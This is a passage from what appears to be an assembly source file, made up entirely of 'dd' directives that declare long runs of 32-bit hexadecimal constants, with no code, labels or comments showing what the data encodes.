536598Fh, 9F8185DAh, 9068CB5Bh dd 80A4F293h, 379F648Fh, 0D4F20263h, 89C87092h, 0EE8B9840h dd 4C88E106h, 25A04DBBh, 8C05E3B2h, 0D0A413D2h, 0AB733470h dd 6F018DFCh, 0D61F4778h, 0D864EFCEh, 90FA82F9h, 2B47CD2Fh dd 0E5FC0450h, 22E41D53h, 71383400h, 10886ACFh, 1750980Ah dd 23BBB95Ah, 0F097DCD8h, 3B90848Fh, 0C5FE111Ch, 51651ADEh dd 0E0F40058h, 0ECB7C463h, 0E9961500h, 3AD453E5h, 0F53102A5h dd 0E4398E1Eh, 5809FC53h, 0F1270541h, 938068ECh, 0BAEA05F3h dd 0D36F562Dh, 7D98008h, 36CF2F8h, 79C04A2Dh, 95EE8924h dd 1768700Ch, 4C240094h, 90036511h, 7F21D2F7h, 0A8E250A2h dd 147F2442h, 0FE6C07ECh, 0D03282B8h, 8C3E1D9Dh, 7CF60705h dd 0B8C14DCDh, 0D4D1AD5Bh, 20415CE1h, 286BFA01h, 0AA77C4B8h dd 9C2FB000h, 0AD758A8Fh, 9A677ED3h, 0E80D2670h, 0CF860238h dd 8C400F61h, 969871D1h, 0FC4A20A4h, 7C0538E3h, 0B375CDAFh dd 166CC19Ch, 0EFF44767h, 0BC93246Fh, 0FCB28F78h, 34643192h dd 7D246D08h, 974D4500h, 0FF832CBBh, 6D5400B2h, 0FBE00A86h dd 0A4B44327h, 0BBCF1340h, 0E6731CD4h, 48EA0015h, 52FFFE49h dd 909A870h, 893D50B9h, 4268C6A4h, 80E30094h, 3607B12Dh dd 13E89A16h, 0FDEFE475h, 803B9EDCh, 969381Eh, 5B91189h dd 722388DCh, 0B82C1C64h, 60814100h, 0C2188EE5h, 0FCBCC2B5h dd 0FA25C0ACh, 52D649Bh, 751440B5h, 627BF918h, 7CE064B0h dd 3C2E9066h, 0D5009D04h, 8C7BAF03h, 21335FF4h, 0E8D8F378h dd 90F89DB5h, 0BC408E14h, 0BD9600D2h, 179AB173h, 0D53701D7h dd 0F90EE20h, 80407C3Eh, 43975419h, 0C91F0024h, 0A826AB51h dd 603D7844h, 5825FC52h, 2CCD964h, 42C17ABFh, 0FBC86B60h dd 0ECEF600h, 7F453530h, 0EAF1FA73h, 23551393h, 0B08E321h dd 8B351868h, 2584C428h, 0EC58938Eh, 19D34AEEh, 0B5802CF8h dd 15CA56D2h, 1F623Eh, 0E9C615Fh, 14F211h, 5180C6ECh, 67BD37AAh dd 89D2BC3Dh, 10E2A8Fh, 1534F2E4h, 0FB60D82Ah, 46EC8500h dd 52764C55h, 7517077Bh, 0A04A6B65h, 0CDD107E0h, 0EF717910h dd 88DB4C50h, 0C9000F4Ah, 910E3F49h, 1FE63A9Bh, 40437589h dd 7CC5EFADh, 264F8FE8h, 0BCCAA4C4h, 11ACFA01h, 0E8D754C9h dd 53B0CB17h, 62C4B400h, 97F0A4D6h, 41084E0Bh, 0D7B967B0h dd 94D07CFCh, 0FC30D67Ch, 1560AEh, 241F04BEh, 0D1FE1C9Dh dd 0D4958E4Eh, 20CD1882h, 2C586667h, 451A0701h, 7EDBD7B7h dd 441830A5h, 0B13A035Ah, 0C48A4A71h, 121EC001h, 0E87C2E45h dd 90975BAFh, 1E06A6E0h, 4109CA21h, 2C53C9D2h, 68DC314Fh dd 0CF88070h, 3B4971h, 0E24B0892h, 0CA17B7CBh, 1551CBA0h dd 9D4C8A61h, 84F20809h, 2F40D9C0h, 0A11DE8C7h, 0AD850E00h dd 0EE2A6184h, 3864976Bh, 0E99C1800h, 5E6DF49Ah, 3236001Fh dd 0B76B830Fh, 0C4BC017Dh, 2A40042Eh, 13CA8C1Fh, 22F94Eh dd 18E8D818h, 0A901BA77h, 3154E038h, 0DC2E8AF0h, 9C4052C8h dd 5F4E5A71h, 0ED28B838h, 17594A14h, 55C04014h, 82535494h dd 5ECAA502h, 744BC5D7h, 0D954060h, 0B500EA31h, 0C8B81AFCh dd 3D1D724Ah, 0A505B653h, 0C48BD189h, 8870BAC0h, 99B8C18h dd 368D935Ch, 4A4124FCh, 0F5C81184h, 0F290182Eh, 1E643861h dd 80280F41h, 5EF13480h, 337DD7CEh, 11006148h, 0D10B525Bh dd 5C18668Ch, 1C0118D4h, 893CD205h, 0C4CD7810h, 2994887Ah dd 65480803h, 0E2BF42A3h, 0F474EBE1h, 0AE80D8BCh, 2A52164Ch dd 6C548700h, 2350B08h, 4A0600C7h, 32B24FB5h, 0DC325634h dd 8454B9C3h, 38EB7F48h, 0B7848108h, 0F019B011h, 0E7134AB5h dd 29010341h, 5A51105Fh, 5C6D7060h, 0B84CFC6Fh, 0F0169080h dd 0C0289722h, 4054E0B9h, 0F4B668B4h, 1EB8C42Dh, 80978069h dd 9160ABA9h dd 0C39F961Bh, 0AC408504h, 9550FB3Bh, 4B8F000Fh, 0E27693F4h dd 4005344Ch, 0BFBAF019h, 9522B0CEh, 0A7830899h, 0D8C73E4Fh dd 2A040Fh, 899B2BE7h, 347D6795h, 5D96EE0Eh, 584A5F03h dd 0FF169C23h, 8869C0E0h, 8025D417h, 0F654E411h, 25671E49h dd 7A4F45AFh, 5968BC23h, 2180B5Ch, 2D0CD4ECh, 68004C5Bh dd 653CABC8h, 79AE023Ah, 6DC733D2h, 42A67C80h, 1500FF61h dd 47F8CE18h, 4C1977DBh, 0B45830D2h, 65CC205Fh, 48E83AB5h dd 3DCF303h, 0A8A6BB7Fh, 41349DDh, 5A675C72h, 540104E0h dd 4D10E8A2h, 44FA9F02h, 49391759h, 0F7E841F4h, 6A153C86h dd 45025C60h, 24C80006h, 855C6E52h, 0BA3D6C10h, 0B0418F7Fh dd 9849DA91h, 5C84D0h, 1F2E5438h, 0A3186A83h, 62224D04h dd 388C53BFh, 752AF8CEh, 0BA870082h, 8F3F49Bh, 4E5CC88Ch dd 586E24D8h, 6D15204Eh, 127A5920h, 0A2C4FDCCh, 63D9009Ch dd 0F1CE26B6h, 8C47276Dh, 9C0138D1h, 92869940h, 0EF2D886Ch dd 0CF429018h, 0B9DC508Ah, 204844B8h, 97CCF7D3h, 3879A49Ah dd 98914101h, 0B0F807E5h, 4D273BFDh, 83028B00h, 7529A225h dd 0FE1ABB00h, 67092BADh, 0BC94B834h, 5594010h, 0BC007F32h dd 0ACE7A2D8h, 211D68h, 0D6A4B44Ch, 0A8A6DCE1h, 46AD4CBEh dd 0B6F71298h, 0BC488C4h, 1CE2F45Bh, 45110076h, 4F19C1D2h dd 0D60BB0B4h, 41D1B559h, 207A02A4h, 0A6773C8h, 215CFC01h dd 75CE8FB1h, 0F880203Fh, 190986DEh, 21F2912h, 846C32A4h dd 0E856D898h, 7298344h, 0C8ACA016h, 0E090BFA7h, 2A005A5Bh dd 1E8CE4CAh, 0E8BFC0C9h, 0A49D0BB0h, 7044F172h, 0FB3B213Ch dd 2CA0232Ah, 79953600h, 84765450h, 24CE9D69h, 0E6EAA498h dd 28B9ECB0h, 594BDF40h, 0C2C11635h, 63B4C88Eh, 0FD14189Dh dd 467E275Ah, 2480A8D2h, 0F30EE519h, 0DDEDC9B3h, 4154F0Bh dd 0B0F9E082h, 0E14A3580h, 0E20029F8h, 82A6174Dh, 2D3C6CF1h dd 5CE27F77h, 0CD6DE8C0h, 18B55070h, 27FBE30h, 0B94A0537h dd 30DFAAA5h, 48A2A34h, 1187087Ch, 16170115h, 1828E42Dh dd 22BD9D3Eh, 0F73868Ch, 56150131h, 0FF0CF10h, 0D0CCF5h dd 0CE77BA4Fh, 14B954E1h, 8C14FDE4h, 7307B00h, 3F101917h dd 0E26303BCh, 1F9D601Eh, 7854C0ECh, 94951508h, 52A48060h dd 0F9493093h, 0BB6CA162h, 0A0C8BE5Ah, 0D8628AFAh, 3EC947Fh dd 1779B6BEh, 1E8294A3h, 0EBD3BF40h, 0CD21C900h, 0B218E6DDh dd 275CEC05h, 9465EC49h, 37353D00h, 0FEC5BC93h, 48D40206h dd 0AC320FC0h, 45008CC4h, 0CF9C1947h, 7D39A734h, 33E6016Dh dd 8CC410A9h, 99BAEEh, 84CAEFB0h, 2554EA48h, 0CCF95971h dd 9DDEB040h, 3CBE0003h, 8947908Ch, 0D70B7351h, 349CE80h dd 0F1EF6D48h, 2C2ECD0Ch, 0C258D710h, 0FACC1674h, 40BCC8DCh dd 0C93ED188h, 0B4704EC3h, 384F716h, 0E72C2895h, 80C0FFFBh dd 8B4B600Ch, 0C07C64F0h, 0C3BC9908h, 0FA3B5E94h, 781AAFEEh dd 78485C8Ch, 49A4984Ah, 71F46600h, 0BC4BA75Eh, 0C3A916EBh dd 6DDCC536h, 0C81020A4h, 4FB59498h, 186F00D4h, 0E7E4C9BAh dd 0F586EA39h, 0B9C5F002h, 59AFEF0Fh, 0D33D000Ch, 0ED6780F9h dd 0BA73EA00h, 3BBFEC71h, 3AD93813h, 80AB5A8Eh, 682B036Bh dd 0A4FF38A0h, 6E387B94h, 55AB07E5h, 0C4A4E827h, 0C37808FEh dd 1282EA80h, 0D22DA68h, 234E3738h, 0C0707CC8h, 47BC30A6h dd 61E0E2BDh, 34DC4806h, 80544519h, 86D729B4h, 0FECE8D03h dd 9873B27Ch, 49FBBB4h, 8AFD39B1h, 0E80EEEA8h, 0BEFEE01h dd 7CA02BE8h, 36C06F44h, 0EC76DFF9h, 0D6EA6A02h, 4054938Dh dd 4CE76044h, 5802E4FEh, 0D906E539h, 0AD60C227h, 22D10E2h dd 696F1DCFh, 57F8E6Ch, 1AF0270h, 0C2188F3Ch, 0B8D9CA8Dh dd 415C7925h, 0EC340B3Ah, 0D1716920h, 0B01FEC01h, 10EFE48Bh dd 4C1A6420h, 0D680D086h, 0B96D983Dh, 208F8030h, 445F7233h dd 0AB2E25F6h, 4100AAEEh, 17FE1653h, 34A54A7Ah, 0E0E8D8h dd 0EF5DEE21h, 244A9886h, 4E1A08h, 6F276AE1h, 0C4BF9F3Ah dd 83EE10h, 2BB69B2Ch, 0DBEFE747h, 0F5129090h, 3912AF88h dd 491F4704h, 5E4D44B0h, 0BAD425E5h, 0FFEC28h, 0E51B5BA1h dd 4B92AD15h, 0C150C49Fh, 0C68E9DD0h, 0F4D03EF3h, 2D801822h dd 0A442AAE6h, 4809EC89h, 0F8537C7Eh, 917981A4h, 3C6284Ch dd 95AEA1CFh, 0E1A1E526h, 1C43218h, 327C5337h, 2470D721h dd 0BAEF27FEh, 450548A0h, 0C5009931h, 7998468Fh, 87B464h dd 177EFD34h, 0B0C05CECh, 4D10961Fh, 764C8F02h, 0C26CCAEFh dd 0A0FC6680h, 0B5CCA044h, 6A00E0C6h, 83696E86h, 0EEFC81h dd 0ABEFD9B7h, 625D6494h, 0BA599912h, 93879002h, 0CB4C80BBh dd 800155h, 1210C342h, 554CA4Fh, 5CD30439h, 1C222E60h dd 9626F1Ch, 643D167h, 6300A0FAh, 0F96E8F74h, 4FCD6DEh dd 0E787B570h, 0C317C1F1h, 79A891E6h, 0D22F0C00h, 0C2FE37C4h dd 761280B0h, 4040BBF8h, 4181EE9Dh, 0CC3E1D23h, 8C16167Dh dd 9F1EB0CCh, 0F1142668h, 2C29D688h, 0C81242E1h, 0F172387Ch dd 0AC6396F8h, 5026A094h, 56A718B1h, 0D28BF09Eh, 0F2007893h dd 8E50F77Ah, 542B48CFh, 0B1CC7877h, 0DD166110h, 3E93DFF3h dd 262B1FD0h, 55021015h, 0A3891660h, 7475380Bh, 0D88861D0h dd 579EFCA6h, 0C6903427h, 0CE5E00E4h, 4F07AEDDh, 6E1E0824h dd 0A4820AAAh, 0DCDF27D4h, 0EBBD8054h, 8FAC43C2h, 0EC00445Fh dd 6E9B6BDDh, 18A61D4Fh, 353ECA7Ah, 821CC4h, 0AAEF98E2h dd 0C21FB108h, 0EC6F7193h, 0FD4B0048h, 6068AA80h, 6224B13Ah dd 78129410h, 0DDD0D427h, 0E66797h, 0A1D35F95h, 0DCD5699Ah dd 11ADBF1Fh, 1076EF40h, 4D193525h, 0A30EC45Fh, 28C03823h dd 0E3696090h, 0C140F50Fh, 708B24A1h, 808809EAh, 0F678C818h dd 0C8039E00h, 7FD8E7E0h, 0F9C123Dh, 0C204B9EAh, 0DF4AB9B3h dd 0B8EA7018h, 1F08E00h, 8A364C6Ch, 0A2B54F7Fh, 2D830080h dd 40593B17h, 1B1300EAh, 2A75E6B4h, 31003432h, 0F01EAB81h dd 0C4F3D3h, 4DFE1AF1h, 2E77E34Ch, 0FC1D8B4Ah, 0E838D92Dh dd 0BEC3C098h, 5D0076B0h, 7E0D305Ch, 0BFE5328h, 9C1FA056h dd 60CB300h, 6B74E6E1h, 0F81EC800h, 2E83990Fh, 22440959h dd 50586F0Ah, 0F1D1870Ch, 964E9012h, 730049E0h, 0BBB06CE5h dd 33AAEE01h, 3AC38473h, 9E08907Bh, 0D4F79823h, 0AF5EED8Bh dd 0FB124C8h, 547CAB71h, 0C82AF5C0h, 0B807585Ch, 0C41E3F34h dd 6F781089h, 0C6A90126h, 8EEAEB9Bh, 0E0AD4453h, 0C75DC4DCh dd 8E8CCBD0h, 0F825E11Ch, 7000CD86h, 99009A5Ch, 0DC9624D8h dd 9EC5B80h, 43500518h, 0C0D9E409h, 0FB5AE363h, 0F949E92Ah dd 0BDA4C83Fh, 17070B7Eh, 2E4357CBh, 30AB54A5h, 924D2D5Ch dd 0B0BCD107h, 0FB37F17Dh, 3B21A5F3h, 0B04EA750h, 0F213E7CCh dd 680460A3h, 20CDBD17h, 402C51F2h, 884E3A84h, 0C9F72C01h dd 0A76137E8h, 0C3F0DC1h, 7C41A40Ch, 59F2122Dh, 0F99083F0h dd 0C6E144B4h, 79043095h, 6F0C1E00h, 48C0A087h, 0B0EF0531h dd 90F30E23h, 0F0167660h, 98047F82h, 9CE256F8h, 30749C00h dd 122BD682h, 0B5FDF900h, 809DD8F7h, 0E866B54Ch, 3DD9DF62h dd 0DACAE0BDh, 96A20EF2h, 822DE93h, 0D560D7E6h, 0C0005DB4h dd 500C4034h, 0BD4C689h, 218F276Bh, 0EAEC4464h, 0BAEE4000h dd 0EBBB9661h, 2627EF9h, 121760E7h, 0BF859EA6h, 0C27CA794h dd 77735AEBh, 4596BC18h dd 0B9492200h, 0CDA02394h, 0E3174F48h, 3C853EF8h, 0B820CE72h dd 0CB4221h, 0D71093D0h, 0FB66743h, 8C47ED00h, 8559E1CEh dd 38F19068h, 0A44C7099h, 0AD370593h, 9D00A3Fh, 0A47684C0h dd 8CE31318h, 0C8A00116h, 5600E3DCh, 63DE7D4Bh, 0C8D881h dd 9DA38B91h, 8CF324ADh, 7F243B50h, 0C6802494h, 0CA41385Dh dd 77B017ACh, 0D46CC82Ch, 423F4Ch, 7BD87F87h, 35BB3Eh dd 6AE46DB3h, 0A1705AFFh, 0CC5ECEE5h, 0B9836C40h, 91589468h dd 0AEBC00DCh, 71ED0CC1h, 94C1FA2h, 8C48CCB5h, 40C0500Ah dd 5F5B6990h, 0C874E5A3h, 24929559h, 82682184h, 0D8DCD5E4h dd 0D4B9B064h, 0A8CE942Dh, 0E00937Bh, 447982DEh, 0F87FDFE2h dd 0AC0702B8h, 4D4EBF76h, 0DE09855h, 8A940066h, 0FAC233B1h dd 7C3DDD7Ah, 49358569h, 10E84D71h, 19735BA0h, 1103D5B8h dd 1FC72CD7h, 37C1CF9Ah, 0AD701C75h, 4850EE4Bh, 8C00F0ADh dd 655E3223h, 0C500150Dh, 7722CA85h, 0CE877Ah, 8F8367E2h dd 0B7DD884Ah, 43E6B207h, 0DB764D32h, 21646008h, 81B7D59Dh dd 50490F0Ch, 10D3502Bh, 699D1CEh, 4A7EF8DCh, 2C94658h dd 0E6BDB7D2h, 84EE30EBh, 700FC83h, 505D7F39h, 0D4386860h dd 7B33864h, 9D1AF92Dh, 0E107A085h, 0CF0115DBh, 0A87F8911h dd 318C4A7Ch, 0FB7169F1h, 0FD743E00h, 7AA96652h, 6C28C07Dh dd 7376D368h, 212A31C0h, 0CD1E55Bh, 0F992BBD4h, 21C17509h dd 765B398Ah, 54AFDCh, 73AEAA22h, 49854312h, 64D8E400h dd 0BDFD7B0Dh, 4580A0BAh, 0F3688003h, 1987D900h, 0B221093Fh dd 5E7D0E0Ah, 78ACF79Eh, 7918CB61h, 0E11A2F98h, 7A9F0C7Eh dd 82100DECh, 4400BE76h, 3D2D99DBh, 3297896h, 635932A1h dd 0ED80E118h, 77774A97h, 0F100ABE8h, 1B546224h, 0EC851C47h dd 1C5E5819h, 2FC0F801h, 60E0F4B4h, 0BE3BB69Fh, 4280033h dd 0B7610C78h, 3A530077h, 31124C42h, 0D70CB4A5h, 8CC2D3Eh dd 6D21C05Bh, 706312C4h, 0B2003AB8h, 0ED019D39h, 183BDD9Fh dd 288B9A2Ah, 230097A2h, 77FCE9E2h, 63F4B61Eh, 3B9B087Eh dd 0BB72003h, 0A93EE6E2h, 3DF09F76h, 378F4CAh, 0DAA25C53h dd 78A624B3h, 4ADF1A00h, 0ABDEC019h, 76A93137h, 80A1F108h dd 4AE66320h, 5C30A374h, 2004FDAh, 0D2B0ED8h, 2960D267h dd 0C8D1BB49h, 0D4B0CEEAh, 0D58CE22h, 86BC9E0h, 26072C0Ch dd 3877C18Ah, 0AB006CF4h, 39B328C7h, 20C93D4Bh, 29CD0181h dd 1D200FD8h, 0C380A4F2h, 0EECCDC10h, 0DB12B0C7h, 0B00FC85h dd 6FB223C4h, 942C32h, 2B035BFAh, 689072CCh, 1D26A13Bh dd 51074EC3h, 0A900743Fh, 0E7F817h, 0B03A9C09h, 5720D0D1h dd 5542B200h, 91E326CFh, 7F6A0049h, 13B7B07h, 7E010C30h dd 5683D7C2h, 2AF81594h, 4D3A0340h, 0E7A2A17Ah, 0F6F882F3h dd 9A76E1EAh, 0BF63FB00h, 45895A25h, 94521C5Dh, 9DAA00C1h dd 0E99088A6h, 0BBEF6600h, 62C43BCBh, 1C87004Eh, 371472EBh dd 52002746h, 40AC6CF8h, 89FBC6h, 508D152Bh, 79FD936h dd 9C717501h, 0ABFE8C7Dh, 10F42E0h, 0F5037CD3h, 0D2235293h dd 1C41DA80h, 0A207437Ah, 9A7EC2EBh, 9043C3F7h, 0DA2000F6h dd 990379E5h, 2D7024A3h, 7DB81226h, 130CC913h, 6D14804h dd 8A16E519h, 0AB131021h, 9D1EBF51h, 0C230AC6h, 18F73109h dd 4049CB20h, 86DC2181h, 28E2A507h, 8C70F498h, 36FF6DC6h dd 51B033EAh, 0A5088B28h, 0E4998501h, 5F0D3005h, 30676842h dd 0D7117AA0h, 96884BA2h, 7A09E681h, 28DCA85Dh, 0C841607Ch dd 6C1B186h, 5EFA9018h, 1E18A158h, 4019D0A2h, 0DA8AD427h dd 5900F238h, 0D5B32F7h, 0F29F671h, 7FA6486Ch, 64B634A0h dd 0C600D8C9h, 9587461Ch, 4AF2A0Ah, 887CB3B2h, 5344807Eh dd 0E20E7D71h, 0A0229CBBh, 32259FD2h, 5D64006Ch, 21CA80F7h dd 6A014A40h, 0C45C021Ch, 89CC2388h, 0F6B400AFh, 9CC80C90h dd 2A1E03D0h, 0D880FB6Ch, 0E63BAD82h, 0E00400FEh, 4C726755h dd 0B380A84h, 0BC4100C5h, 0F3A43338h, 0B3F10769h, 0C7B19B54h dd 995F50A3h, 16F470B6h, 1981100h, 9E680E66h, 0E82400ABh dd 0D54BB131h, 3F007265h, 1F3098A6h, 6801FAE1h, 0F60411ADh dd 4D5F7B18h, 0E50510h, 0B02B90E8h, 0A67F58C3h, 929BD003h dd 0E17BB2DCh, 2888E53Fh, 0AF90EE94h, 446B6884h, 51443E87h dd 42CB4802h, 0B3248FF6h, 48FFE427h, 15198037h, 9572A56h dd 0DDA9C500h, 6F124D65h, 93D748E2h, 3BFA6A00h, 8EF33C67h dd 75CA1600h, 0ED690E70h, 0E9A000FFh, 7B2462DBh, 8F071B39h dd 888D65B3h, 0FFAF4A70h, 0CF7701BCh, 0ADC2F15Bh, 8CABE441h dd 6726BE00h, 0D1D7A975h, 19CFEA6h, 0D861D07h, 706DD47Fh dd 97032ADEh, 0D58B0E45h, 3A29E062h, 0E0A77B9h, 0CA24BF57h dd 11523E86h, 0D6BE3900h, 0EB6B0E93h, 0CA95078Bh, 0B0DA674Eh dd 8A5BDA2h, 460F9170h, 8025BAA7h, 0DD316488h, 560F0A04h dd 80D8E1E4h, 0AC43B783h, 0E7007EF3h, 7F8C364Ch, 7D171C5h dd 0B24B4FDEh, 0EB006B53h, 65212B39h, 43D9A1Ch, 0A901040h dd 1218273Bh, 2EECFAh, 5B508C00h, 0E07AC83h, 525EF86Ah dd 0E4C85580h, 16E30389h, 7B13ADD6h, 45B0ECC3h, 8D00A0E2h dd 402D73B6h, 886FE6h, 633ABBDAh, 54C9267Eh, 6E15AA00h dd 5DDE3718h, 9EC7059h, 0A1662A7h, 323C7C06h, 0BCCB4F02h dd 407220D7h, 1D0FC9Ah, 0F151AC85h, 70695E3Fh, 1E009979h dd 7EF6F4B0h, 0E1D3EAh, 0E2C89D7Dh, 9622D4BCh, 5F6CEC00h dd 0E68F60AFh, 9DF500B9h, 66C846EDh, 3A00953Bh, 0B1D3DA07h dd 0B8B428h, 4B9418CDh, 0CCA312DBh, 4E23F91Ch, 5490DC0h dd 59A2CAh, 7C217786h, 0F1AAFA01h, 14DFBF00h, 97643870h dd 8DB7000Ah, 4D18E61Fh, 913DE782h, 8E5580BEh, 0BB98860h dd 0CAC609DCh, 2C80359Fh, 76AE3753h, 46CFEB00h, 774E4CDDh dd 0D90400D3h, 2C926A6Fh, 6603E61Ch, 7419B578h, 5024E845h dd 579D0052h, 960D012Bh, 0B200C294h, 0D4BF72F1h, 0A0C5E8E4h dd 0F874A688h, 5B902Eh, 0A8437942h, 3ED0F395h, 0F59ED0Bh dd 18D48055h, 5A5F611h, 0C4E066D4h, 43C080E9h, 0C50042DBh dd 155BF991h, 3D052901h, 0FBDC4ADDh, 0D8E4170Eh, 0C8FAD040h dd 7004468h, 0B71AEA99h, 535870h, 0FC182D88h, 6ED3B16Dh dd 0C120AC03h, 0D921100Ch, 0BECD7BDh, 0EF9E0087h, 0D91CE21Fh dd 700F6F26h, 214B5FDEh, 0D43E7A8Bh, 0EA86FCh, 0D55E9C14h dd 2BD32FE3h, 0C621DE00h, 35B150FDh, 0A69E0394h, 2EB041A5h dd 3356C08Dh, 0AE00E193h, 628606Dh, 12ACDFh, 5042A1ABh dd 0E6FD82BBh, 0EB205800h, 5136B87Ch, 0C757005Dh, 592153EEh dd 6F0BDE1Ch, 80CDC35Eh, 7D0F2345h, 0EEF61D95h, 5255C0A4h dd 2FBBD06Fh, 4621107h, 0AD749869h, 0F9091E83h, 0B7D13AA7h dd 371DF4h, 0E0BFD43Bh, 6A6D566Ch, 0EF07D171h, 647E54F5h dd 0EEFC7A70h, 63E3009Ah, 999EC01Ch, 70003F93h, 8EC75904h dd 7BD86Bh, 0B63EA62h, 0A9441E5Ch, 80F77C3Fh, 647D7F54h dd 306FFB49h, 0DF1CA251h, 0D700A7FEh, 93CA4146h, 0C23999h dd 79CBEEAEh, 0C7252470h, 1C3EE500h, 0DBD58ACAh, 0BCE00Ch dd 0DD1B7E9Bh, 0A227EA30h, 7728F30Bh, 1800802Ah, 0EEAD09h dd 5A9E0E0Bh, 0D92291D7h, 92F6887Fh, 0F1941050h, 7C5BFC00h dd 0FFC53897h, 24D70ADh, 6268B365h, 20986EB2h, 0B6003BDEh dd 7907F21Fh, 1840F025h dd 10F1BF92h, 0C039C942h, 0B0ED015Ah, 3451B6ACh, 0F58AF8h dd 40B8E835h, 9BEFBCB1h, 2C5EE724h, 3DF46E00h, 0F5A48BBh dd 0F62F52E5h, 0B4CB95C0h, 400651Ah, 974B3F81h, 3EA1BDE3h dd 3381F4A8h, 4359A372h, 470CF8EFh, 30B2CD00h, 0DC804C6Ah dd 9087FEFFh, 55E80091h, 0A93CCAE1h, 8C00ED9Fh, 0E99B01CFh dd 1583396h, 0FE1881B0h, 0C4EF0735h, 7639ACB8h, 0C28D008Eh dd 4DE886A4h, 0BE1F0121h, 0A01D58C7h, 4FD6205Ah, 0C52E3B00h dd 0B183F786h, 0EE6379C0h, 7AA100D5h, 1AC4FACCh, 709D57A9h dd 31FF3AD1h, 40F19109h, 0BD168500h, 5400DDD6h, 712A2772h dd 6CC281h, 0E3CBB1F2h, 8D631786h, 0EB8EF000h, 6FDB4A7Ah dd 486D00BFh, 5B42A73Ch, 0A000B32h, 2F4EC06Ch, 2CE4DFh dd 0CC2E3A1Eh, 94FA7A27h, 9E26C300h, 3EADD895h, 0EBF4000Fh dd 0E92964DAh, 620034FCh, 0CF3EAF0h, 4892A1h, 49EE252h dd 67023615h, 593D7700h, 327FB012h, 94144806h, 1B64600Eh dd 98D8E260h, 54004EE5h, 0D7CA08C3h, 0B58E4Bh, 3277D45Ah dd 0C80A7DA0h, 0FCFB651Dh, 90EE94h, 6E2973FAh, 9B8B066h dd 0AB196AD0h, 0C7A39400h, 1600ED9Bh, 8E3BFB37h, 0EAA7BBh dd 0BC303E59h, 0E3859A3Fh, 0E058700h, 0F949743Ah, 679539BEh dd 76D9C500h, 8F4DF01Ah, 6ED00B00h, 0B59B360Ah, 0E50F018Dh dd 588ACF38h, 0F0DDC515h, 7B715445h, 4046CE00h, 0A98969C2h dd 82D800EAh, 0E16C5BB7h, 0BB18D6B1h, 9C886119h, 70040F5Ah dd 56400B08h, 30E24357h, 8AAB7B24h, 0D4200A00h, 70CE5A7h dd 659B5D8Ch, 1226A0EBh, 7E309181h, 0D96819FFh, 4A1C006Eh dd 5BA759E7h, 3801C20Ah, 49EF0EBCh, 83D8DB18h, 0D2820076h dd 5398C71Bh, 7F0EBFE5h, 4789C3DCh, 52F05A02h, 1DCC0972h dd 3288A1h, 585FE9BAh, 3A3E04C8h, 5868017h, 0C2388CD8h dd 7E960752h, 3001350Ch, 8161FB87h, 0C00D5600h, 9D8D531Dh dd 0E69907B6h, 3FA0E7h, 3C1AD528h, 2042E92Eh, 0B7DE7100h dd 0B139C7h, 77E23344h, 57498F09h, 3502AF07h, 24702ADAh dd 26C02FA2h, 0EC1DBBh, 0D8C89327h, 7400CCD5h, 0C54B8722h dd 0C3EFBAh, 39693044h, 615B493h, 5BA0770Fh, 0D93641C0h dd 9BE05497h, 0CF225h, 0F612920Eh, 0E5D6F153h, 36448900h dd 19C7B65Dh, 2624013Ah, 0B557F3BBh, 2E38CCE4h, 50CBE800h dd 58D2E6A9h, 0B62A0EEAh, 0C8606FC4h, 0A8E9DF4Ah, 6ACC6100h dd 0A6E21D59h, 0D95C000Ah, 0FBC9E48Ch, 0F801C04Fh, 0DE218A2Fh dd 319D3DD2h, 0AC74C0B6h, 69F5B589h, 0D8A7B200h, 0C8071103h dd 0C1633138h, 71AC0C28h, 0B857DC25h, 82095100h, 0A0A2C8DCh dd 391C002Fh, 7DA87461h, 0BC1EDD01h, 0E5806358h, 0B666ECCDh dd 456A03A7h, 148A623Fh, 4FDEF6C0h, 0AE385D00h, 8D658B1Fh dd 0A6FC0010h, 0C3BDE112h, 441E9C97h, 25C089AAh, 1D428C81h dd 0C79300B3h, 648E582Ch, 0BA0004A6h, 6D1E5716h, 0B2E823h dd 9183A093h, 0D3456401h, 0CC67B600h, 9CAF2125h, 1FBA00B7h dd 23C29EECh, 24E028D2h, 0BE72C300h, 0A554B66Ch, 0B11F0082h dd 0C87D3E14h, 90004499h, 5ADEE0A2h, 0C064E509h, 0FE5625E1h dd 0D6004AFFh, 696FF580h, 0E08A97h, 0B308905Ch, 264F286Eh dd 0E9D21900h, 7DCC0516h, 54E0007Ch, 68A2EB78h, 0AE044697h dd 0A7D39EFBh, 7F7A000h, 0DE00ECF9h, 4B618379h, 1CBDD6h dd 4299B219h, 9039F93h, 0F09888C3h, 63DAE0D9h, 0CB2200FDh dd 47B77754h, 0EA16E2A9h, 87006D0Bh, 6B60BF7Fh, 9CD93DCDh dd 1C8D9780h, 46472C8Ch, 8ECA7D0Fh, 7A63E7C0h, 6E5E6260h dd 0F11E0036h, 2895E62Bh, 0A40FA7B0h, 80485B05h, 7E24BF4Eh dd 12E6E5h, 0F20C5AB7h, 0E7F0AEB6h, 5DAF1400h, 3C37053Eh dd 19F0E11Ah, 63750743h, 813F8B09h, 0EB6A039Ch, 0C6EF87F8h dd 73BBB400h, 0F43E3348h, 0B3AB00C1h, 1E195985h, 0A200CEC3h dd 88E63B95h, 755CB90Ch, 22550215h, 0A12C9C0Dh, 0D2A95440h dd 0C6E54700h, 77CD9526h, 86B2017Ah, 0D5BCCA91h, 0BAC8DC12h dd 0BD8F3501h, 0C2AA6766h, 30432C4h, 0BCDCB16Ch, 9C2A42D6h dd 1A00D89Dh, 40456E07h, 0ECF18194h, 0D5350059h, 256FB9AAh dd 0D4E6A3FBh, 7226103h, 0E0C1DA7Dh, 32D12F5h, 0FD57320h dd 3C9ADECBh, 1F95F080h, 9B00EA02h, 0B922D88Eh, 1C607175h dd 822EE557h, 0BCD94485h, 6474D8C0h, 991CC97Dh, 3A40C503h dd 5E535029h, 0D58D0016h, 0CC24A840h, 0DB1D3D7Eh, 0BF4242C5h dd 0E0F4D448h, 982DF7h, 15CAD137h, 0AA012BC8h, 68D9EF00h dd 25DD076Bh, 3E3B007Bh, 0D0DB754Eh, 0C00DECAh, 38412297h dd 2956DEBh, 0DFEA4AFh, 584001F8h, 8A095ED5h, 0E0E331h dd 73692FB8h, 0CD7E00D1h, 930AA37h, 7A14085Ch, 0F89C14h dd 0A86A8ABCh, 300297BBh, 0FC48DC81h, 1CB0A2D5h, 3745491Ch dd 4CDBB107h, 8B84CCE1h, 984087E9h, 736529C2h, 1EF47E30h dd 64FCBA1h, 2086DA48h, 9BC14600h, 5122348Bh, 19211840h dd 7B367858h, 